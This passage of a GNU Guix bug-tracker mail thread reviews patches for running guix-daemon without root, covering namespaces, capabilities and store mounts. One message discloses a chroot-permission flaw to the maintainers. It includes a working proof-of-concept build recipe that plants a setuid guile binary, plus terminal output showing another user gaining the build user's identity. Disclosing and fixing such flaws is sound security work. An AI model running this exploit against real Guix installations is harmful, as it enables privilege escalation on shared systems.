drop ambient capabilities, together with the fact that the mapped UID inside the container is nonzero, should make it so that it therefore wouldn't be able to inherit any. On a tangentially-related note, the ambient capability set didn't come into being until Linux 4.3 (around 2016), which is a fair bit newer than unprivileged user namespaces. Take that for what you will. Now, according to capabilities(7): Per-user-namespace "set-user-ID-root" programs A set-user-ID program whose UID matches the UID that created a u= ser namespace will confer capabilities in the process's permitted and = ef=E2=80=90 fective sets when executed by any process inside that namespace or = any descendant user namespace. The rules about the transformation of the process's capabilities dur= ing the execve(2) are exactly as described in Transformation of capabi= li=E2=80=90 ties during execve() and Capabilities and execution of programs by r= oot above, with the difference that, in the latter subsection, "root"= is the UID of the creator of the user namespace. This would seem to suggest that the capabilities within the user namespace could be regained by creating a setuid binary and executing it, but experimentally this doesn't happen, and I am unsure whether this is a bug in the documentation, kernel, or my reading comprehension. At any rate, I am less than confident in relying on this behavior. I think it would be a good idea to, in the no-build-user case, add an extra call to unshare right at the point where the user and group would be changed in the build-user case. This extra call would create a fresh user and mount namespace, ensuring that the mount-locking behavior you referenced applies. My understanding is that the setuid behavior documented above only grants capabilities, it doesn't change the user namespace that the process is in, so it should be impossible for the builder to gain capabilities inside the user namespace owning the bind-mounted store items, even if it somehow gained full capabilities within this fresh user namespace. > - pid =3D clone(childEntry, > + pid =3D clone(childEntry, > (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf), > flags, this); > - if (pid =3D=3D -1) > - throw SysError("cloning builder process"); > + if (pid =3D=3D -1) { > + if ((flags & CLONE_NEWUSER) !=3D 0 && getuid() !=3D 0) > + /* 'clone' fails with EPERM on distros where unprivileged user > + namespaces are disabled. Error out instead of giving up on > + isolation. */ > + throw SysError("cannot create process in unprivileged user namespace"); > + else > + throw SysError("cloning builder process"); > + } > + > + if ((flags & CLONE_NEWUSER) !=3D 0) { > + /* Initialize the UID/GID mapping of the guest. */ > + if (pid =3D=3D 0) { > + char str[20] =3D { '\0' }; > + readFull(readiness.readSide, (unsigned char*)str, 3); > + if (strcmp(str, "go\n") !=3D 0) > + throw Error("failed to initialize process in unprivileged user nam= espace"); > + } else { > + initializeUserNamespace(pid); > + writeFull(readiness.writeSide, (unsigned char*)"go\n", 3); > + } This doesn't actually do any synchronizing with the child process, because clone never returns 0. It's not like fork where it returns twice with a different return value each time, control in the new thread instead goes straight to childEntry. The parent doesn't get stuck and hang when writing because PIPE_BUF > 3. >> This does raise the question, though, of how these failed build >> directories would get deleted, aside from rebooting the system. > > Note that in the early days (and in current Nix actually), build trees > were not chowned. That=E2=80=99s OK: they=E2=80=99re deleted upon reboot= or by the > system administrator. > > Current Nix has this: > > void DerivationGoal::deleteTmpDir(bool force) > { > if (tmpDir !=3D "") { > /* Don't keep temporary directories for builtins because they > might have privileged stuff (like a copy of netrc). */ > if (settings.keepFailed && !force && !drv->isBuiltin()) { > printError("note: keeping build directory '%s'", tmpDir); > chmod(tmpDir.c_str(), 0755); > } > else > deletePath(tmpDir); > tmpDir =3D ""; > } > } > > We could go back to this. It=E2=80=99s less convenient, but okay. > > In this patch series, it attempts to chown the tree; if it fails to do > so (because it lacks CAP_CHOWN), it prints a warning and keeps going. My concern comes from knowing that I've at times gone through 100 sequential failed builds while trying to package something tricky, and I tend to keep my disk on the low end of free space to minimize how often I need to rebuild stuff. That and the one time I tried tinkering with ungoogled-chromium. I know I'd probably cause a lot of trouble if I tried doing that stuff on a shared system I didn't have administrative access to. A best-effort chown attempt should do fine for now, though. >> We currently remount /gnu/store read-write at LocalStore-creation-time, >> which happens in the newly-forked guix-daemon process at the start of a >> connection. I don't think there's any particularly elevated risk from >> instead doing that before the per-connection process is forked. There >> are a number of ways we could do this: we could make it the >> responsibility of the init system to create the mount namespace and do >> the remounting, or we could have guix-daemon do it immediately on >> startup and subsequently switch its uid and gid to >> guix-daemon:guix-daemon. These lack the slick appeal of "see, you never >> have to give it root, and you can prove it just by looking at the >> service file", but realistically should be just as secure. It may be >> useful to provide a small wrapper around guix-daemon that does the >> remount and privilege-dropping, to more succinctly express this to >> anybody wishing to see for themselves. > > I think I=E2=80=99d prefer to have a systemd (or other) service make a > read-write bind-mount at /gnu/store/.rw-store, and then we=E2=80=99d run > =E2=80=98guix-daemon --backing-store=3D/gnu/store/.rw-store=E2=80=99. > > WDYT? So if I understand correctly, we would have /gnu/store hold all of its usual contents in the usual manner, and a service would bind-mount /gnu/store to /gnu/store/.rw-store without MS_RDONLY, and then it (or another service that depends on it) would bind-mount /gnu/store to itself with MS_RDONLY, and then guix-daemon would, in its own mount namespace, bind-mount /gnu/store/.rw-store to /gnu/store, again without MS_RDONLY. I assume that making /gnu/store read-only wouldn't make the already-bind-mounted /gnu/store/.rw-store read-only too? If it does, it's not going to work, and if it doesn't, it's going to remain writable for footgun appreciators. But I suppose it's at least a little more out-of-the-way. I think it might be simpler to integrate the change if we instead made it /gnu/.rw-store or something like that, since that way we don't have to worry about updating the garbage collector and such to treat it specially. Actually, now that I think about it, another possibility would be having a service that the read-only store-mount service depends on that first creates a persistent user+mount namespace combo which saves a view of the writable store (I don't recall exactly how creating the persistent namespace works, but I know the 'ip netns ...' commands can do something similar to create named network namespaces). The process that creates this namespace would run as the guix-daemon user, and therefore when guix-daemon starts it would have full capabilities within that user namespace, and could setns straight into it. This would leave no writable store in the root mount namespace. >> Personally, I think that if a guix-daemon can use privilege separation >> users, it would probably be a good idea to. We're certainly going to >> need to support them on non-linux systems either way. Could it be >> possible to have guix-install.sh modify /etc/sudoers on systems that use >> it to allow the guix-daemon user to run processes under guix builder >> users? I am currently less worried about arbitrary code execution >> vulnerabilities being found in the daemon than about the possibility of >> malicious builders (but it is possible I am underexposed to the ways >> those can happen in C++). > > What would you put in /etc/sudoers? I=E2=80=99m not sure what you had in > mind. I'm not sure what I had in mind either, I've only seen some opine that it's usually better to configure sudo than to write your own setuid programs, which was the first thing that came to mind for how to use dedicated build users without needing the entire daemon running as root. I recall reading somewhere that it could be configured to allow certain users to run certain commands as certain other users? So maybe it could be configured to allow the guix-daemon user to run any command as any of the guixbuilder users. Although granted, the way that container setup is currently done wouldn't work very well with that, since by the time we're ready to execute the builder we're already fully in the container, where setuid-root binaries should probably not be. I know that "how to use dedicated build users without root" probably isn't what you were asking for feedback on, but it did show up in my thoughts quite a bit. =2D reepca --=-=-= Content-Type: application/pgp-signature; name="signature.asc" -----BEGIN PGP SIGNATURE----- iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmeZ3gYXHHJlZXBjYUBy dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJzAkQf/VZjUTwuxVy5Aid8p4p+ovhT0 0tkp7zheyG8TojG/YSgBhjF4YXfA5vAymdMjCMFCmt6J3gIlOgGjgbDyVylvzFxG KnE5nYXnujP2XKJ61pbWKVrAP2Lqdz7gGq+EKu9dCsHBDkPQkWo0idoSW6oIdXSF EISvUGtZ5wrzm6uAl5D0YINqw/aAEbharanfZYin2eRIy7hH5k598Wca7hgBC9e0 fDy+dBn7vME3bUzitXHpvdZVsgHOSDpKogacsIJRbsAqEVPYXNU/tN5xTjomb5dM ycF4epwPKqDcy+/rWX3N3vP266E5vxUL3SvQ0ujYlafrC+OiEICySu4BLTPoSA== =6lw/ -----END PGP SIGNATURE----- --=-=-=--
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon Resent-From: Reepca Russelstein <reepca@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 31 Jan 2025 22:37:02 +0000 Resent-Message-ID: <handler.75810.B75810.17383629813896 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Cc: 75810 <at> debbugs.gnu.org Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.17383629813896 (code B ref 75810); Fri, 31 Jan 2025 22:37:02 +0000 Received: (at 75810) by debbugs.gnu.org; 31 Jan 2025 22:36:21 +0000 Received: from localhost ([127.0.0.1]:55304 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tdzca-00010m-Om for submit <at> debbugs.gnu.org; Fri, 31 Jan 2025 17:36:21 -0500 Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:35892) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <reepca@HIDDEN>) id 1tdzcV-00010X-LD for 75810 <at> debbugs.gnu.org; Fri, 31 Jan 2025 17:36:18 -0500 DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed; d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date: References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To: Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date: Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id: List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive; bh=WttHpXVgzn/HB06VS3KcNGePd+sdhHakYWPshDyVBZg=; b=zJ4gZ064TrvnicplXbZSduiIYB 9VDfK8YMgMgC1/b7tBTvDkamCpwZyqfZYsTZDaJ/xgfXv9UqQ3kV1GMtEDAw==; DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date: References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To: Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date: Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id: List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive; bh=WttHpXVgzn/HB06VS3KcNGePd+sdhHakYWPshDyVBZg=; b=iMHYBfl3aJtWCcKFbkysJnFRzA 27Qh1UzIB6SwSO/02C2WmXUXH8afwz+v01GfJXSTfB9ggj9WFFjw8XW9g+ytnaooqkyqlcCZfK0DA hDtHelO+Xa0nG/3Qhz97CxUdUPi0CXCcOjJ0s7yHAtsj01eRVEIVUbxjkqr3GQihyXbAIF1g9aaFu qpdeLYfE7UEmfPYvnHHROXEIy7RwAj7hrXcPdsHlabgZ2bPJtsZ9XqADWJICi2YmXdhK1IrFPnMwu qpLp8PUMIdJ7YSJugN66UMvGxSTAfvRVXaeL/rPD5FVhkRPDTX+xjJglMdJJx5dzolK+SLGPK+5Rg v1hs18QvSLKPw7BmU2lZSn85Q/U/HcvXxxXiIox1052t51MlVPdeFZ8JC5sNl6YgfuvWrcyQhRPBl 8XAxek455UNcd6gpR+yizrFT0P4NvQXzjoaTrPnj7oEmpdbUKCNDFEq8uBk5HqmbmtYvsvbzdhzyo i6+fz7oyBsoDnDlhOspuQDr7K4ZSKZKjTWZN2nSKlbE00Un6OfXQXIF1gr7s5V9jgfh5bwUo+SvB8 rzz7ohd+cJpV6QHDdKCkF5SQlAlSsgP8eQI/mpjcfCkE4ud2QlFBfLtrFP8cjyvhBiy/+jERcl50s z7YGHrlOr9d4BILNe2FWEDPQouG4VXjvDc0Robi4c=; Received: by russelstein.xyz with esmtpsa (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim 4.98) (envelope-from <reepca@HIDDEN>) id 1tdzcR-000000006kN-2U8z; Fri, 31 Jan 2025 16:36:12 -0600 From: Reepca Russelstein <reepca@HIDDEN> In-Reply-To: <87bjvshrk0.fsf@HIDDEN> ("Ludovic =?UTF-8?Q?Court=C3=A8s?="'s message of "Mon, 27 Jan 2025 22:31:43 +0100") References: <cover.1737738362.git.ludo@HIDDEN> <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN> Date: Fri, 31 Jan 2025 16:35:24 -0600 Message-ID: <875xluehn7.fsf@HIDDEN> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha256; protocol="application/pgp-signature" X-Spam-Score: 0.5 X-Spam-Bar: / X-Spam-Score-Int: 5 X-Spam-Report: Spam detection software, running on the system "Sanctum", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: I've found another vulnerability in using guix-daemon as the build user: the chroot root directory is owned by the build user. By itself this would normally only cause some reproducibility issues, but [...] Content analysis details: (0.5 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- -0.0 NO_RELAYS Informational: message was not relayed via SMTP 0.5 FROM_SUSPICIOUS_NTLD From abused NTLD X-Spam-Score: 1.1 (+) X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: I've found another vulnerability in using guix-daemon as the build user: the chroot root directory is owned by the build user. By itself this would normally only cause some reproducibility issues, but [...] Content analysis details: (1.1 points, 10.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.6 PDS_OTHER_BAD_TLD Untrustworthy TLDs [URI: russelstein.xyz (xyz)] 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record -0.0 SPF_PASS SPF: sender matches SPF record 0.5 FROM_SUSPICIOUS_NTLD From abused NTLD X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: 1.1 (+) X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: I've found another vulnerability in using guix-daemon as the build user: the chroot root directory is owned by the build user. By itself this would normally only cause some reproducibility issues, but [...] Content analysis details: (1.1 points, 10.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.6 PDS_OTHER_BAD_TLD Untrustworthy TLDs [URI: russelstein.xyz (xyz)] 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record -0.0 SPF_PASS SPF: sender matches SPF record 0.5 FROM_SUSPICIOUS_NTLD From abused NTLD 1.0 BULK_RE_SUSP_NTLD Precedence bulk and RE: from a suspicious TLD -1.0 MAILING_LIST_MULTI Multiple indicators imply a widely-seen list manager --=-=-= Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I've found another vulnerability in using guix-daemon as the build user: the chroot root directory is owned by the build user. By itself this would normally only cause some reproducibility issues, but that directory is also visible from the outside world as /gnu/store/...-packagename.drv.chroot. Consequently, a simple chmod from the builder can expose the contents of the chroot, including any setuid programs. Demonstration: =2D-8<---------------cut here---------------start------------->8--- (use-modules (guix) (gnu) (guix build-system trivial)) (define-public sneakysneaky (package (name "sneakysneaky") (version "0") (source #f) (build-system trivial-build-system) (arguments (list #:builder #~(let ((guile (string-append (assoc-ref %guile-build-info 'bindir) "/guile"))) (chmod "/" #o777) (copy-file guile "/guile") (chmod "/guile" #o6755) (sleep 1000) (mkdir #$output)))) (home-page "") (synopsis "") (description "") (license #f))) sneakysneaky =2D-8<---------------cut here---------------end--------------->8--- If I save this as /tmp/mal-test3.scm, I can observe the following: =2D-8<---------------cut here---------------start------------->8--- user@debian:~$ guix build --derivations --no-grafts -f /tmp/mal-test3.scm /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv user@debian:~$ guix build /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneak= ysneaky-0.drv substitute: looking for substitutes on 'https://bordeaux.guix.gnu.org'... 1= 00.0% substitute: looking for substitutes on 'https://ci.guix.gnu.org'... 100.0% The following derivation will be built: /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv building /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv... C-c C-z [1]+ Stopped guix build /gnu/store/qx5m1iq72628qy90wpwczyp= zfc28ss57-sneakysneaky-0.drv user@debian:~$=20 user@debian:~$ ls /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-= 0.drv.chroot dev etc gnu guile proc tmp user@debian:~$ /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.d= rv.chroot/guile guile: warning: failed to install locale warning: failed to install locale: Invalid argument GNU Guile 3.0.9 Copyright (C) 1995-2023 Free Software Foundation, Inc. Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'. This program is free software, and you are welcome to redistribute it under certain conditions; type `,show c' for details. Enter `,help' for help. scheme@(guile-user)> (geteuid) $1 =3D 999 scheme@(guile-user)> (getegid) $2 =3D 996 scheme@(guile-user)>=20 user@debian:~$ id uid=3D1000(user) gid=3D1000(user) groups=3D1000(user),24(cdrom),25(floppy),= 27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),113= (bluetooth),117(scanner) user@debian:~$=20 =2D-8<---------------cut here---------------end--------------->8--- The security impact of this could be resolved by doing the same thing we do with build directories - have the actual mounted-into-the-chroot directory be the "/top" subdirectory of the externally-visible chroot directory. In the example above, that would be /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv.chroot/top. Due to the use of pivot_root, the upper .chroot directory would become completely inaccessible to the builder, ensuring that it remains inaccessible for unprivileged users. I'm less sure about how to resolve the impact to reproducibility. We could try mounting the root directory specifically as read-only, perhaps, though my understanding is that this may cause open, chmod, etc to return EROFS instead of EACCES or EPERM. =2D reepca --=-=-= Content-Type: application/pgp-signature; name="signature.asc" -----BEGIN PGP SIGNATURE----- iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmedUCwXHHJlZXBjYUBy dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJyBtQgAmXPI8k1Os1tVCb6Py8Rn++1Q tPR0TL9wItX0hN+RQTHNpIsPE6hbgc2FgKQ3zbIUk2D4VGn8YA1qh9nFt/UJMuoK QGHbE+6ctuADAbU4KubRR5N/NxyP+IupG7zttEtiO6rOGfSeoVaugdsjoLE5ZUx1 MX9qr5asjfx8SO8oEkafM7bQpDDNJrTSj8OWrQ5KhJclIwMdaXVFGScJUU4igvZX LfL4Bo8tnK2V6urP87xEDindHRBUsFLvI//TTUuZzl1qyYmB6+AFtRTfpr/zIQH5 m2gOdoXi3mbdOnNwD7q+BCfC7Nh+a/1mmfJrP/mRHfosYen4Jl8wnjWkFgucNQ== =jv04 -----END PGP SIGNATURE----- --=-=-=--
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 0/9] Rootless daemon References: <cover.1737738362.git.ludo@HIDDEN> In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:01 +0000 Resent-Message-ID: <handler.75810.B75810.173944881813971 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944881813971 (code B ref 75810); Thu, 13 Feb 2025 12:14:01 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:38 +0000 Received: from localhost ([127.0.0.1]:41108 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY5z-0003cg-C7 for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:51184) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5v-0003cC-Tp for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:29 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5q-0001B9-EI; Thu, 13 Feb 2025 07:13:22 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to: references; bh=iQGBJmWfz5H9oeW6AXc3OxWRIYKjYzuahq1EFH4TLac=; b=RT04WP6+2sT+IJ bcUxVAQ8NcH9t9/C8tl3d4ZZeFv+I4vU+A8Hf30YR/+pheuYZbReiWaXzIi9SK8z0XuKvazPjJ6jl E5oJSnPgWKOwBlLI419fbM04yaqJX5aF9YqdB8H0klpQC93f5sHsCd+3A1f9MQRNdANgSfZQpGINO rMiRbyrjakzL+Z2Mwc+eNdNRhWzhpEpTrouMeX/NGa7jSN/S6dTqbVjJgir8K24bXfh5iX5QL9zfv sFMLC0w5JmEa3DIbZhNvQ5616zvqsSUTMLHaMIa6NSvQ4dMWzsexPC7czx8PAER+ZzPVZ7ikn+mbt Bj4B8bcXg9vrrhJDGDQQ==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:03 +0100 Message-ID: <cover.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -1.0 (-) Hello, Here’s an update with some of the fixes suggested by Reepca: • Remounting inputs as read-only since MS_BIND | MS_RDONLY doesn’t do what one might think; • Bind-mounting everything and not just directories; • Adding tests to ensure that inputs cannot be remounted as read-write, overwritten, etc.; • Fix bogus synchronization for uid_map/gid_map creation; • Use ‘clone_range’ (unrelated to the rest of this series but nice). One of the critical open issues that remain is the fact that the root file system in the build environment is writable, and thus a build process can (chmod "/" #o777) and expose setuid binaries etc. The other one is lack of support for read-only store remount (‘--backing-store’ option has yet to be added). Ludo’. Ludovic Courtès (9): daemon: Use ‘close_range’ where available. daemon: Bind-mount all the inputs, not just directories. daemon: Remount inputs as read-only. daemon: Allow running as non-root with unprivileged user namespaces. DRAFT tests: Run in a chroot and unprivileged user namespaces. daemon: Create /var/guix/profiles/per-user unconditionally. daemon: Drop Linux ambient capabilities before executing builder. etc: systemd services: Run ‘guix-daemon’ as an unprivileged user. guix-install.sh: Support the unprivileged daemon where possible. build-aux/test-env.in | 14 ++- config-daemon.ac | 5 +- etc/guix-daemon.service.in | 12 ++- etc/guix-install.sh | 114 +++++++++++++++++++----- guix/substitutes.scm | 4 +- nix/libstore/build.cc | 171 ++++++++++++++++++++++++++---------- nix/libstore/local-store.cc | 30 ++++--- nix/libutil/util.cc | 23 +++-- tests/store.scm | 144 ++++++++++++++++++++++-------- 9 files changed, 388 insertions(+), 129 deletions(-) base-commit: bc6769f1211104dbc9341c064275cd930f5dfa3a -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 1/9] daemon: Use =?UTF-8?Q?=E2=80=98close=5Frange=E2=80=99?= where available. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:02 +0000 Resent-Message-ID: <handler.75810.B75810.173944881913988 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944881913988 (code B ref 75810); Thu, 13 Feb 2025 12:14:02 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:39 +0000 Received: from localhost ([127.0.0.1]:41124 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY65-0003dI-RU for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:51198) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5x-0003cE-6y for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:29 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5r-0001BO-Ru; Thu, 13 Feb 2025 07:13:23 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=0izMrOHlIq4NgLJJUeAlULEe8K+llpxfq6yctCHxero=; b=c2yrriY4hF1VWc6VKtTm 7bAd/X3xGfk3UO0lpYY1RU/3DX8TIJNRnM0geIxhrYduszsxV9NDo4dU+nV0P9ExYih8SdkMXTK2h Uq5QGXuLqzsnhG4ZS5Rr4NXosrnyYalrvbOJw6JbtYgc2puBcVwb9oEIpzk5lklUOUJ83yLSW7rvK dFgJshRBp/NHFuOBg009dgfEXFf1r75X7M0V1mro9qyn+IbZlh6t2Kum8ib/NqwrXdUmPY7b827Z9 qCG0ddm0FfrHoA+JB+ra2Vdx7YCuHRXxCSNeRZ1KiTFWwzMSxREUYHUBtENOd73XUvMX98mj6jWZM g5y+rDUoTPvmTA==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:04 +0100 Message-ID: <bd91ab23e03ab06c821e9e41b69c0f87c7945a85.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * nix/libutil/util.cc (closeMostFDs) [HAVE_CLOSE_RANGE]: Use ‘close_range’ when ‘exceptions’ is empty. * config-daemon.ac: Check for <linux/close_range.h> and the ‘close_range’ symbol. Change-Id: I12fa3bde58b003fcce5ea5a1fee1dcf9a92c0359 --- config-daemon.ac | 5 +++-- nix/libutil/util.cc | 23 +++++++++++++++++------ 2 files 